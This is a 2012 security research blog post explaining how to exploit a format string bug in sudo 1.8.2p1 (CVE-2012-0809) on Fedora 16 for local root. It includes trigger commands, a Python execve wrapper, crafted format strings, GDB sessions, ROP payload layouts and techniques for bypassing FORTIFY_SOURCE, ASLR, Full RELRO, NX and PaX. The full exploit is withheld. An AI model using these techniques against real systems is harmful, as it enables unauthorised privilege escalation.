Exploiting Sudo format string vunerability

Feb 16, 2012 • longld

In this post we will show how to exploit format string vulnerability in sudo 1.8 that reliably bypasses FORTIFY_SOURCE, ASLR, NX and Full RELRO protections. Our test environment is Fedora 16 which is shipped with a vulnerable sudo version (sudo-1.8.2p1).

The vulnerability

Vulnerability detail can be found in CVE-2012-0809 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0809). In summary, executing sudo in debug mode with crafted argv[0] will trigger the format string bug. E.g:

```
$ ln -s /usr/bin/sudo ./%n
$ ./%n -D9
```

The exploit

Though above format string vulnerability is straight, it is not easy to exploit on modern Linux distributions. sudo binary in Fedora 16 comes with:

- FORTIFY_SOURCE (http://fedoraproject.org/wiki/Security/Features#Compile_Time_Buffer_Checks_.28FORTIFY_SOURCE.29)
- Full ASLR (http://en.wikipedia.org/wiki/Address_space_layout_randomization) (including PIE (http://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables))
- Full RELRO (http://isisblogs.poly.edu/2011/06/01/relro-relocation-read-only/)
- NX (http://en.wikipedia.org/wiki/Executable_space_protection) (DEP)

In order to exploit format string bug we have to bypass all above protections, but thanks to this local bug, we can disable ASLR easily with resources limit trick (another notes, prelink is enabled on Fedora 16 so it also disable ASLR from local exploits). As a consequence, NX can be defeated with return-to-libc/ROP with known addresses. The most difficult part is bypassing FORTIFY_SOURCE.

Bypassing FORTIFY_SOURCE

We just follow “A Eulogy for Format Strings” (http://www.phrack.org/issues.html?issue=67&id=9&mode=txt) article from Phrack #67 by Captain Planet wit very detail steps to bypass FORTIFY_SOURCE. In summary, there is an integer overflow bug in FORTIFY_SOURCE patch, by exploiting this we can turn off _IO_FLAGS2_FORTIFY bit in file stream and use “%n” operation from a writable address. Following steps will be done:

1. Set nargs to a big value so (nargs * 4) will be truncated to a small integer value, the perfect value is nargs = 0×40000000, so nargs * 4 = 0. The format string to achieve this looks like: “%*1073741824$”
2. Turn off _IO_FLAGS2_FORTIFY on stderr file stream
3. Reset nargs = 0 to bypass check loop

Let examine #2 and #3 in detail. We create a wrapper (sudo-exploit.py) then fire a GDB session:

```
#!/usr/bin/env python
import os
import sys

def exploit(vuln):
    fmtstring = "%*123$ %*456$ %1073741824$"
    args = [fmtstring, "-D9"]
    env = os.environ
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        exploit(sys.argv[1])
```

```
# ulimit -s unlimited
# gdb -q /usr/bin/sudo
Reading symbols from /usr/bin/sudo...Reading symbols from /usr/lib/debug/usr/bin/sudo.debug...done.
done.
gdb$ set exec-wrapper ./sudo-exploit.py
gdb$ run
process 2149 is executing new program: /usr/bin/sudo
*** invalid %N$ use detected ***

Program received signal SIGABRT, Aborted.
gdb$ bt
#0  0x40038416 in ?? ()
#1  0x400bc98f in __GI_raise (sig=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2  0x400be2d5 in __GI_abort () at abort.c:91
#3  0x400fbe3a in __libc_message (do_abort=0x1, fmt=0x401f3dea "%s") at ../sysdeps/unix/sysv/linux/libc_fatal.c:198
#4  0x400fbf64 in __GI___libc_fatal (message=0x401f5a6c "*** invalid %N$ use detected ***n") at ../sysdeps/unix/sysv/linux/lib
c_fatal.c:209
#5  0x400d1df5 in _IO_vfprintf_internal (s=0xbff42498, format=<optimized out>, ap=0xbff42b78  <incomplete sequence 340>) at vf
printf.c:1771
#6  0x400d566b in buffered_vfprintf (s=0x40234920, format=<optimized out>, args=<optimized out>) at vfprintf.c:2207
#7  0x400d0cad in _IO_vfprintf_internal (s=0x40234920, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%sn", ap=0x
bff42b78  <incomplete sequence 340>) at vfprintf.c:1256
#8  0x401958a1 in ___vfprintf_chk (fp=0x40234920, flag=0x1, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%sn",
ap=0xbff42b78  <incomplete sequence 340>) at vfprintf_chk.c:35
#9  0x400094a0 in vfprintf (__ap=0xbff42b78  <incomplete sequence 340>, __fmt=<optimized out>, __stream=<optimized out>) at /u
sr/include/bits/stdio2.h:128
#10 sudo_debug (level=0x9, fmt=0x4000dff3 "settings: %s=%s") at ./sudo.c:1202
#11 0x400082cd in parse_args (argc=0x1, argv=0x4023b730, nargc=0xbff42d20, nargv=0xbff42d24, settingsp=0xbff42d28, env_addp=0x
bff42d2c) at ./parse_args.c:413
#12 0x40002890 in main (argc=0x2, argv=0xbff42df4, envp=0xbff42e00) at ./sudo.c:203

gdb$ list vfprintf.c:1688
1683        /* Fill in the types of all the arguments.  */
1684        for (cnt = 0; cnt < nspecs; ++cnt)
1685          {
1686            /* If the width is determined by an argument this is an int.  */
1687            if (specs[cnt].width_arg != -1)
1688              args_type[specs[cnt].width_arg] = PA_INT;
1689
1690            /* If the precision is determined by an argument this is an int.  */
1691            if (specs[cnt].prec_arg != -1)
1692              args_type[specs[cnt].prec_arg] = PA_INT;
gdb$ break vfprintf.c:1688
Breakpoint 1 at 0x400d1c5b: file vfprintf.c, line 1688.

gdb$ run
process 2157 is executing new program: /usr/bin/sudo
   0x400d1c53 <_IO_vfprintf_internal+4531>:     mov    eax,DWORD PTR [edi+0x20]
   0x400d1c56 <_IO_vfprintf_internal+4534>:     cmp    eax,0xffffffff
   0x400d1c59 <_IO_vfprintf_internal+4537>:     je     0x400d1c68 <_IO_vfprintf_internal+4552>
=> 0x400d1c5b <_IO_vfprintf_internal+4539>:     mov    edx,DWORD PTR [ebp-0x484]
   0x400d1c61 <_IO_vfprintf_internal+4545>:     mov    DWORD PTR [edx+eax*4],0x0
   0x400d1c68 <_IO_vfprintf_internal+4552>:     mov    eax,DWORD PTR [edi+0x1c]
   0x400d1c6b <_IO_vfprintf_internal+4555>:     cmp    eax,0xffffffff
   0x400d1c6e <_IO_vfprintf_internal+4558>:     je     0x400d1c7d <_IO_vfprintf_internal+4573>

Breakpoint 1, _IO_vfprintf_internal (s=0xbfe48748, format=<optimized out>, ap=0xbfe48e28  <incomplete sequence 340>) at vfprin
tf.c:1688
1688              args_type[specs[cnt].width_arg] = PA_INT;

gdb$ p &s->_flags2
$1 = (_IO_FILE **) 0xbf845310
gdb$ p/d (char*)&s->_flags2 - *(int)($ebp-0x484)
$2 = 11396

gdb$ p &nargs
$3 = (size_t *) 0xbf844e74
gdb$ p/d (char*)&nargs - *(int)($ebp-0x484)
$4 = 1924
```

3. *flags2* and *nargs* is on stack with fixed relative offsets to current stack pointer, so we can adjust offsets according to relative stack addresses to fulfill #2 & #3. Let do this again and calculate correct values when we have final format string for the exploit.

Bypassing Full RELRO

We can now use “%n” primitive to write anywhere with any value, but where to write to? sudo binary is compiled with Full RELRO, this means we cannot write to GOT entry or dynamic->.fini to redirect the execution as they are read-only. The idea here is simple: we try to overwrite function pointer in libc or ld-linux and hope it will be called later in program to trigger redirection. This works smoothly with sudo case.

```
# ln -s /usr/bin/sudo ./%x
# ulimit -s unlimited
# gdb -q ./%x
gdb$ list sudo.c:204
199         memset(&user_details, 0, sizeof(user_details));
200         user_info = get_user_info(&user_details);
201
202         /* Parse command line arguments. */
203         sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
204         sudo_debug(9, "sudo_mode %d", sudo_mode);
205
206         /* Print sudo version early, in case of plugin init failure. */
207         if (ISSET(sudo_mode, MODE_VERSION)) {
208             printf("Sudo version %sn", PACKAGE_VERSION);

gdb$ break sudo.c:207
gdb$ run -D9
4000e036: settings: 9=en_US.UTF-8
4000e0bc: settings: %x=en_US.UTF-8
4000e0c5: settings: true=en_US.UTF-8
4000e0fc: settings: 10.0.2.15/255.255.255.0 fe80::a00:27ff:fe9e:e68c/ffff:ffff:ffff:ffff::=en_US.UTF-8
a0001: sudo_mode -1078177084
Breakpoint 1, main (argc=0x2, argv=0xbfbc5394, envp=0xbfbc53a0) at ./sudo.c:207
207         if (ISSET(sudo_mode, MODE_VERSION)) {

gdb$ vmmap libc
Start   End     Perm    Name
0x400a8000 0x4024d000 r-xp /lib/libc-2.14.90.so
0x4024d000 0x4024f000 r--p /lib/libc-2.14.90.so
0x4024f000 0x40250000 rw-p /lib/libc-2.14.90.so
gdb$ x/8wx 0x4024f000
0x4024f000:     0x401da990      0x40122490      0x40121e10      0x401227a0
0x4024f010:     0x4013fc60      0x40122fb0      0x40027f20      0x401223e0
gdb$ x/8i 0x40121e10
0x40121e10 <__GI___libc_malloc>:        sub    esp,0x3c
0x40121e13 <__GI___libc_malloc+3>:      mov    DWORD PTR [esp+0x2c],ebx
0x40121e17 <__GI___libc_malloc+7>:      call   0x401db813 <__i686.get_pc_thunk.bx>
0x40121e1c <__GI___libc_malloc+12>:     add    ebx,0x12d1d8
0x40121e22 <__GI___libc_malloc+18>:     mov    DWORD PTR [esp+0x30],esi
0x40121e26 <__GI___libc_malloc+22>:     mov    esi,DWORD PTR [esp+0x40]
0x40121e2a <__GI___libc_malloc+26>:     mov    DWORD PTR [esp+0x34],edi
0x40121e2e <__GI___libc_malloc+30>:     mov    DWORD PTR [esp+0x38],ebp

gdb$ set *0x4024f008=0x41414141
gdb$ continue
Program received signal SIGSEGV, Segmentation fault.
0x400bee20 <realloc@plt+0>:     jmp    DWORD PTR [ebx+0x10]
0x400bee26 <realloc@plt+6>:     push   0x8
0x400bee2b <realloc@plt+11>:    jmp    0x400bee00
=> 0x400bee30 <malloc@plt+0>:   jmp    DWORD PTR [ebx+0x14]
0x400bee36 <malloc@plt+6>:      push   0x10
0x400bee3b <malloc@plt+11>:     jmp    0x400bee00
0x400bee40 <memalign@plt+0>:    jmp    DWORD PTR [ebx+0x18]
0x400bee46 <memalign@plt+6>:    push   0x18
0x400bee30 in malloc@plt () from /lib/libc.so.6
gdb$ x/x $ebx+0x14
0x4024f008:     0x41414141
```

Bypassing NX

The last part of our exploit is bypassing NX and this can be done via libc ROP gadgets as its address now is fixed. We spray the environment with target payload and use a stack pivot gadget *(add esp, 0xNNN)* to jump to it. Out payload will look like:

```
[ ROP NOPs | setuid, execve, 0, &/bin/sh, nullptr, nullptr ]
```

Or we can use another simple version to avoid NULL byte:

```
[ ROP NOPs | execve, exit, &./custom_shell, nullptr, nullptr ]
```

Where *"./custom_shell"* is an available string in libc (e.g: "./0123456789:;<=>?")

Exploit code

To not spoil the fun of people who may want to try it, I will post it later :)

Further notes

FORTIFY_SOURCE on x86_x64

The technique we use here to bypass FORTIFY_SOURCE failed work on x86_64 as we can not find a *nargs *value (32-bit) that satisfies: (nargs * 4) is truncated to a small 64-bit value. I hope someone will find new ways to bypass it on x86_64.

Reliability of exploit

Though we disable ASLR, stack address is not affected and sometimes there is a gap between current stack pointer and our payload in environment and we may fail to perform stack pivoting. In order to achieve reliability, we have to spray the environment carefully. *Update: 65K environment is enough for 100% reliability on Fedora (thanks to brainsmoke)*

Update: exploit on grsecurity/PaX-enabled kernel

Our exploit on Fedora16 with vanilla kernel relies on a single address: libc base address. With PaX's ASLR implementation we have to bruteforce for 20-bits and this is definitely hard with proper ASLR. Though "ulimit -s unlimited" has no real effect on grsecurity/PaX-enabled kernel, it can help to reduce 4-bits entropy of library addresses. 16-bits bruteforcing still requires average 32K+ runs and is hopeless with grsecurity's bruteforce deterring (15 minutes locked out of system for a failed try).

We had to re-work to make our exploit has a chance to win ASLR. Obviously, we cannot pick any address of library or binary to overwrite, the only way now is to overwrite available addresses on stack. *Fortunately*, we can overwrite saved EIP of sudo_debug() directly as there is pointers to it on stack. Following GDB session shows that:

```
gdb$ backtrace
#0  sudo_debug (level=0x9, fmt=0xb772c013 "settings: %s=%s") at ./sudo.c:1192
#1  0xb77262ed in parse_args (argc=0x1, argv=0xb7734dc8, nargc=0xbfffe720, nargv=0xbfffe724, settingsp=0xbfffe728, env_addp=0x
bfffe72c) at ./parse_args.c:413
#2  0xb77208b0 in main (argc=0x2, argv=0xbfffe7f4, envp=0xbfffe800) at ./sudo.c:203
gdb$ pref 0xb77262ed
Found 5 results:
0xbfffe030 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>: mov    eax,DWORD PTR [esp+0x2c])
0xbfffe060 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>: mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0c0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>: mov    eax,DWORD PTR [esp+0x2c])
0xbfffe0f0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>: mov    eax,DWORD PTR [esp+0x2c])
0xbfffe2a0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>: mov    eax,DWORD PTR [esp+0x2c])
```

By chosing to return to near by function inside sudo binary (e.g my_execve()), we can effectively reduce the entropy down to 4-bits with a short write (%hn):

```
gdb$ run
gdb$ p my_execve
$1 = {int (const char *, char * const *, char * const *)} 0xb7721fe0 <my_execve>

gdb$ run
gdb$ p my_execve
$2 = {int (const char *, char * const *, char * const *)} 0xb7726fe0 <my_execve>
```

This is a quite good improvement, even on PaX-enabled kernel we only need few tries to get a root shell. But with grsecurity's bruteforce deterring, I don't know how long it will take (maybe days) as I failed to get a shell after a day. Though we have a good exploit against real ASLR, it is still far from ideal "one-shot exploit". One-shot exploit can only be done if we are able to leak the library/binary address then (ab)use it on the fly.

In TODO part of Phrack 67 article, the author mentioned that he could not stabilize the use of copy (read+write) primitive when abusing printf(). I decided to reproduce his experiment under a new condition: stack limit is lifted with "ulimit -s unlimited". After hundred of tries for different offsets, we can stabilize the copy, which means we successfully leak the address and abuse it on the fly. Hunting for address on stack is easy now, we can choose to pick saved EIP of sudo_debug itself or any address of libc available on stack (e.g from __vfprintf_internal function). Then we calculate the offset from there to an exec() function, copy (read+write) it to overwrite saved EIP of sudo_debug() with a format string looks like "%*123$x %456x %789$n". By repeating the write step, we are able to create custom arguments on stack to prepare for a valid execution via exec() and achieve a one-shot pwn.

Notes

- We rarely find pointer to save EIP of functions on stack for direct overwrite like this case
- Direct parameter access is 12-bytes each unlike 4-bytes each in normal format string exploit. This will limit your ability to write to arbitrary pointer on stack.
- Copy primitive uses unsigned value, so if library/binary base is mapped at high address (e.g 0xb7NNNNNN) we will fail to leak the address on the fly (it is still an open problem, hope someone can find out). With PaX's ASLR, we are in luck as it maps library/binary start at something like 0x2NNNNNNN in the effect of "ulimit -s unlimited" (so it actually has effect :)).

Comments

0 Comments Sort by **Oldest**

Add a comment...

Facebook Comments plugin

Custom Search